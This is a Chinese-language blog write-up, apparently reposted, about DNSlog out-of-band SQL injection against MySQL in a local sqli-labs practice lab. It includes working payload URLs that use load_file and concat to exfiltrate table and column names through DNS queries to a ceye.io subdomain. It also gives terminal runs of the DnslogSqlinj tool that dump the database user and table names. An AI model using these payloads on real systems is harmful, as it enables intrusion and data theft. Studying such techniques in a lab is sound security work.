concat拼接的坑 mysql_DNSlog注入踩坑记录:
我遇到了兩個巨坑,加上http://ceye.io/,經常無法訪問,記錄一下心酸的踩坑歷史。
直接將兩個巨坑放到最前面,提醒后人!!
1. sql盲注,后端數據庫用的mysql數據庫,說一下用dnslog回顯只能用于windows系統,原理就是''代表Microsoft Windows通用命名約定(UNC)的文件和目錄路徑格式利用任何以下擴展存儲程序引發DNS地址解析。雙斜杠表示網絡資源路徑多加兩個就是轉義了反斜杠。
2. 通過DNSlog盲注需要用的load_file()函數,所以一般得是root權限。show variables like '%secure%';查看load_file()可以讀取的磁盤。
1、當secure_file_priv為空,就可以讀取磁盤的目錄。2、當secure_file_priv為G:,就可以讀取G盤的文件。
3、當secure_file_priv為null,load_file就不能加載文件。
我當初的:直接在centos上進行測試,之后在win10上測試的時候沒有使用這個函數進行查看。
直接被自己蠢哭.... ...
通過設置my.ini來配置。secure_file_priv=""就是可以load_flie任意磁盤的文件。先簡單介紹一下原理:
關于OOBout-of-band帶外數據(OOB)與inband相反,它是一種通過其他傳輸方式來竊取數據的技術(例如利用DNS解析協議和電子郵件)。OOB技術通常需要易受攻擊的實體生成出站TCP/UDP/ICMP請求,然后允許攻擊者泄露數據。OOB攻擊的成功基于出口防火墻規則,即是否允許來自易受攻擊的系統和外圍防火墻的出站請求。而從域名服務器(DNS)中提取數據,則被認為是最隱蔽有效的方法。
DNSlog在Web漏洞利用簡單理解就是在某些無法直接利用漏洞獲得回顯的情況下,但是目標可以發起DNS請求,這個時候就可以通過這種方式把想獲得的數據外帶出來。
這里使用的DNS的原因是:DNS在解析的時候會留下日志,咱們這個就是讀取多級域名的解析日志,來獲取信息 簡單來說就是把信息放在高級域名中,傳遞到自己這,然后讀取日志,獲取信息。
上張圖:
所以,首先需要一個域名http://abc.com,之后訪問xxx.abccom,dns服務會將此解析放入log記錄中,之后就可以通過log記錄獲取之前的查詢信息。
這里推薦生成域名的平臺http://www.ceye.io,我使用的時候經常連接被重置,不知道為啥
注冊完成后
實現條件(如上)
1、SQL盲注、無回顯的命令執行、無回顯的SSRF 2、只能用于windows系統 3、需要用到mysql中的load_file()函數,在Mysql中,load_file()函數讀取一個文件并將其內容作為字符串返回。(不絕對,僅僅只是列舉了mysql數據庫的函數)
再介紹一下UNC
UNC路徑什么是UNC路徑?
UNC是一種命名慣例, 主要用于在Microsoft Windows上指定和映射網絡驅動器. UNC命名慣例最多被應用于在局域網中訪問文件服務器或者打印機。我們日常常用的網絡共享文件就是這個方式。
UNC路徑就是類似softer這樣的形式的網絡路徑。它符合 servernamesharename 格式,其中 servername 是服務器名,sharename 是共享資源的名稱。
目錄或文件的 UNC 名稱可以包括共享名稱下的目錄路徑,格式為:servernamesharenamedirectoryfilename。
例如把自己電腦的文件共享,你會獲得如下路徑,這就是UNC路徑
//iZ53sl3r1890u7Z/Users/Administrator/Desktop/111.txt
配置完成后開始注入
這樣配置完成后,在數據庫中進行測試,dnslog被記錄下來的。
使用load_file()這個函數支持對外的讀取,所以拼接payload。下面就可以進行愉快的sql注入了
dnslog被記錄下來的。
使用load_file()這個函數支持對外的讀取,所以拼接payload。下面就可以進行愉快的sql注入了
成功爆出數據庫名,下面繼續爆數據表名
http://192.168.64.152/sqli-labs/Less-9/?id=-1' and if((select load_file(concat('',(select table_name from information_schema.tables where table_schema=database() limit 2,1),'.XXXXX.ceye.ioabc'))),1,0)--+
繼續爆列名
http://192.168.64.152/sqli-labs/Less-9/?id=-1' and if((select load_file(concat('',(select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 1,1),'.XXXXX.ceye.ioabc'))),1,0)--+
最后直接爆數據,大功告成!
DNS注入工具:DnslogSqlinj
可以直接在github上下,https://github.com/ADOOO/DnslogSqlinj,需要py2的環境來運行
下載完成后直接解壓
will@kali:~$ unzip DnslogSqlinj-master.zip will@kali:~$ cd DnslogSqlinj-master/ will@kali:~/DnslogSqlinj-master$ ls checkSql.py checkSql.pyc config.py config.pyc dnslogSql.py README.md will@kali:~/DnslogSqlinj-master$ vim config.py注意,這里要修改這兩個為你自己的# DNSlog 設置APItoken = 'xxxxx'DNSurl = 'xxx'修改完成后保存 will@kali:~/DnslogSqlinj-master$ sudo python dnslogSql.py ____________________________________________________________________ _ _____ _ | __ | | |_ _| (_)| | | |_ __ ___| | ___ __ _ | | _ __ _ | | | | '_ / __| | / _ / _` | | | | '_ | || |__| | | | __ |___| (_) | (_| | _| |_| | | | ||_____/|_| |_|___/_________/ __, | |_____|_| |_| |__/ | _/ ||___/ |__/ ?DnsLog SqlInj Scanner by ADOVersion 1.0https://github.com/ADOOO/DnslogSqlinj _______________________________________________________________ ? Usage: dnslogSql.py [options] -u http://10.1.1.9/sqli-labs/Less-9/?id=1' and ({})--+ ? Options:--version show program's version number and exit-h, --help show this help message and exit-u URL, --url=URL target include injection-c, --check task name-n TASKNAME, --name=TASKNAMEtask name-t THREAD_COUNT, --thread=THREAD_COUNTthread_count-i INF, --inf=INF Testing target and Try to get information--dbs get database-D DB database name--tables get table-T TABLE table name--columns get column-C COLUMN column name--dump get data 根據提示,配置參數,如下 will@kali:~/DnslogSqlinj-master$ sudo python dnslogSql.py -u "http://192.168.64.152/sqli-labs/Less-9/?id=1' and ({})--+" ? [!]Testing Target and Try to get current information! ? [*]Current user: root@localhost [*]Current data: security 得到數據庫名和用戶名(在平臺中也能看到記錄,但是是數字和一些英文,木有看懂)繼續獲取對應數據庫下面的數據表
will@kali:~/DnslogSqlinj-master$ sudo python dnslogSql.py -u "http://192.168.64.152/sqli-labs/Less-9/?id=1' and ({})--+" -D "security" --tables ? [*]Database:security [*]Get data count: 4 [*]Data 2: referers [*]Data 4: users [*]Data 3: uagents [*]Data 1: emails然后繼續爆字段,爆數據
PS:寫的邏輯有些混亂,web萌新,多多包涵。
參考:還有其他很多
總結
以上是生活随笔為你收集整理的concat拼接的坑 mysql_DNSlog注入踩坑记录:的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: excel if in函数_EXCEL技
- 下一篇: 同一行 绝对定位_电路改造10大点:定位